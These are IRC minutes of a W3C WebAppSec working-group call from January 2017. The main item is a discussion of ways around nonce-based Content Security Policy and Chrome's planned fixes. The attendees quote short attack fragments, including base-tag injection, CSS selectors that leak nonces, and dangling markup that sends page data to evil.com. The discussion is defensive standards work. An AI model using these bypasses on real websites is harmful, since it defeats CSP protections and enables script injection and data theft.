SV_MEETING_TITLE -- 25 Jan 2017

<bhill2> oh, crap. I am on an airplane.

<mkwst> ...

<dveditz> (dialing)

<wseltzer> Agenda: https://lists.w3.org/Archives/Public/public-webappsec/2017Jan/0020.html

Agenda Bashing

<inserted> scribenick: mkwst

dveditz: Anything to add to the agenda?

everyone: <crickets>

Recharter update

wseltzer: The current charter extended without change through March,

<wseltzer> https://rawgit.com/w3c/webappsec/master/admin/webappsec-charter-2017.html

wseltzer: proposed draft charter at https://rawgit.com/w3c/webappsec/master/admin/webappsec-charter-2017.html.
... Reviewing that internally, then sending it out to the AC for a wider review.
... During that period, please ask your AC rep to indicate support.

<freddyb> ah, now.

wseltzer: If you or your AC rep won't support the charter, please let us know before we propose it. :)

dveditz: We've chatted about this multiple times, I hope we'll be good to go.
... If there's something horrible you came up with over the holiday, do let us know.

wseltzer: Sometimes WG and AC members aren't on the same page; if you have a chance to check with your rep, that'd be helpful.
... I'll let you know when it's out for review.

nonce / script-dynamic bypasses and mitigations

<dveditz> scribenick mkwst

ArturJanc: Recent reports of bypasses for nonce-based policies. I'll go through a few details, then mkwst might want to fill in some blanks with Chrome-specific details.
... Context: A few weeks ago, folks on Twitter chatted a bit about bypassing nonce-based CSP.
... Google uses nonces.

dveditz: It's the heart of `strict-dynamic`, right?

ArturJanc: Right. But the attacks we're looking at right now are attacks on nonces, not on `strict-dynamic`.
... Two broad categories of attacks
... 1. Injection of `<base>` tags.
... Alters the meaning of relative URLs, which means that nonced `<script>` elements can point to `evil.com` if a malicious `<base>` element is injected.
... e.g. `<script nonce=abc src=/good.js>` turns into `<script nonce=abc src=https://evil.com/good.js>` in the presence of `<base href="https://evil.com/">`.
... Problem for nonce-based policies, not a problem for hashes or policies that list acceptable hosts.
... Should probably note this in the spec. Many folks that use nonces don't set a `base-uri` directive. They probably should.
... 2. SVG attribute modification via <set> and/or <animate>.
... (Chrome-specific issue)
... Attacker injects `<svg>...<set ...>` into the page.
... It turns any following `<script>` elements into SVGScriptElement rather than HTMLScriptElement.
... The `<set>` element alters the script's `href` attribute.
... Which leads to script execution.

<dveditz> interesting... thought svg animation could only affect CSS properties

ArturJanc: Mike fixed that in Chrome.

<dveditz> mkwst: "freddy from Opera fixed this in blink"

mkwst: Right. This is a bug in Chrome, not a bug in SVG. We didn't follow the spec, Frederik from Opera fixed our implementation.

ArturJanc: SVG seems fixed, but it points to an interesting category of attack that we should probably look into.
... 3. Steal the nonce, use it later.
... 3a. Steal the nonce.
... We operate with a model in which there is an injection:
... So, an attacker can inject CSS with attribute selectors to match the nonce value in better-than-brute-force time.
... [nonce^=a], etc.
... Or the attacker can inject dangling markup (`<textarea>`, `<img src='https://evil.com?whatever=`, etc) that causes exfiltration.

<dveditz> better-than-brute-force? I'll have to re-read sidarkcat's writeup

ArturJanc: 3b. Once the nonce is exfiltrated, it might be possible to reuse it, based on the application's structure.
... If the application listens for a message, and dumps it to `innerHTML`, the attacker can inject properly nonced code.
... `<iframe srcdoc="<script nonce='{$nonce}'>evil!</script>">`
... Similarly, URL fragments are sometimes reflected (routing, etc).
... A few other similar mechanisms.
... You can run a similar kind of attack based on the cachability of a document.
... Load the page, use the first payload to exfiltrate nonces, then `.back()`, then `.forward()`, etc.
... If the injection doesn't depend on the URL, this is exploitable.
... 1. Perhaps we can prevent the nonce from being stolen?
... 2. Perhaps we can prevent the nonce from being reused, if/when stolen.

<dveditz> scribenick: dveditz

mkwst: any questions based on ArturJanc's explanations?

<mkwst> dveditz: Artur, you mentioned two ways to steal the nonce. CSS and dangling markup.

<mkwst> ... Is there another I missed?

<mkwst> ArturJanc: Dangling markup is a pretty big category.

<mkwst> ... `<style>div { background: url('https://evil.com/?whatever=`

<mkwst> ... And other variants.

mkwst: we're doing acouple of experiments to see if they change behavior and fix this
... first is to see if we can hide the nonce from the DOM that makes this harder to do
... f.e. move the nonce from an HTML attribute to an internal attribute of the script.
... the author writes the nonce attribute, but the parser moves the attribute so it's not available to the document.
... can still get the nonce through the nonce IDL, foo.nonce, so scripts can pass them along to new scripts
... we belive that if you have script execution you can do anything anyway
... Also looking to mitigate dangling markup. Will be difficult to completely address this, but some forms may be easy to squash
... added some experiments to chrome, 1) examine contents of URL vs base URL. If it contains a newline AND an opening brace then we'll treat that as a parse error rather than %-escaping.
... change to URL parser--treat newlines as an error.
... second experiment is on forms. Two types of elements that eat stuff -- textarea and select. If they're closed by EOF rather than an actual closing tag we'll fire an error rather than submit
... We think these will prevent a couple of forms of direct exfiltration
... That was exfiltration. on to reuse
... generally the reuse implies a DOM api to inject script into page (e.g. <iframe srcdoc artur mentioned earlier)
... we want a parser-inserted script to work if delivered by a page, but suspicious of ones injected by script (as parser inserted)
... thinking of adding a new script-src keyword that means "even more strict about parser inserted"
... Is the parser kicked off by script? (document.write, innerHTML, etc) tag scripts and probably iframes if created that way
... check that flag when doing execution. If this new keyword is set then these scripts would not execute
... Prevents nonce re-use, but might be a useful hardening approach in general as well
... We were able to do this because this concept (parser inserted) already existed in the HTML spec, but it's not flagged for later use. that's new
... we'll need to define this new concept in HTML and hope it fits as well with other browser's implementations
... We hope this deflects both the recently discussed attacks and prevents future ones
... as mentioned, playing with experimental implementations to see how hard this is and whether it works and will bring feedback to the group

dveditz: could we propose certain attributes (nonce, integrity) as unavailable for CSS selector matching?

mkwst: we discussed that but seems super icky. requires reaching into CSS to fix a problem that has nothing to do with CSS
... XHR/fetch has the concept of "sec-*" headers that are untouchable... could do something like that
... Artur and I will put docs together and bring them back to the group

ArturJanc: we found 5 or so different types of exfiltration
... same-origin XSLT was one, but to pull this off you already need the equivalent of script execution. more academic interest

<ArturJanc> https://sirdarckcat.github.io/csp/attlist.xml

<inserted> scribenick: mkwst

dveditz: Few minutes left.

Security review of IndexedDB API

dveditz: Request for review of IDB.

<dveditz> https://lists.w3.org/Archives/Public/public-webappsec/2017Jan/0008.html

dveditz: Implemented in many browsers, hopefully their security teams did review.
... We haven't done much formal review.

wseltzer: I'll note that the W3C just recharted the Web Security IG.
... That's another place that reviews can happen.
... After recharter, they seem interested in taking on more of this kind of work.
... Also looking at taking up the security questionnaire.
... So, I'd invite y'all to join that group for reviews.

<wseltzer> Web Security IG: public-web-security@w3.org

Multiple origins for manifested web apps

<dveditz> https://lists.w3.org/Archives/Public/public-webappsec/2017Jan/0000.html

dveditz: They'd like folks to look at this proposal to allow multiple scopes for a web manifest file.
... That's the end of the agenda.
... Any questions? Proposals for next time?
... When _is_ next time, actually?
... Third Wednesday of the month.

<freddyb> Feb 15th?

dveditz: February 15th.

<dveditz> Feb 15, 2017 -- 3rd wednesday

dveditz: It's on my calendar, which I got from somewhere. So hopefully it's on the W3C WebAppSec calendar that's on the group's homepage.

<freddyb> calendar is embedded at the very top of https://www.w3.org/2011/webappsec/

<dveditz> thx freddyb

wseltzer: Referrer Policy is moving to CR tomorrow!
... Also, WebCrypto to REC tomorrow!
... Huzzah!
... Also, I'll make sure WebEx works.

everyone: Bye!

<fin>

<jochen___> yay, referrer policy, indeed :)

<wseltzer> s/ I am on an airplane.//

- DRAFT -

SV_MEETING_TITLE

25 Jan 2017

Attendees

Contents

Agenda Bashing

Recharter update

nonce / script-dynamic bypasses and mitigations

Security review of IndexedDB API

Multiple origins for manifested web apps

Summary of Action Items

Summary of Resolutions

Scribe.perl diagnostic output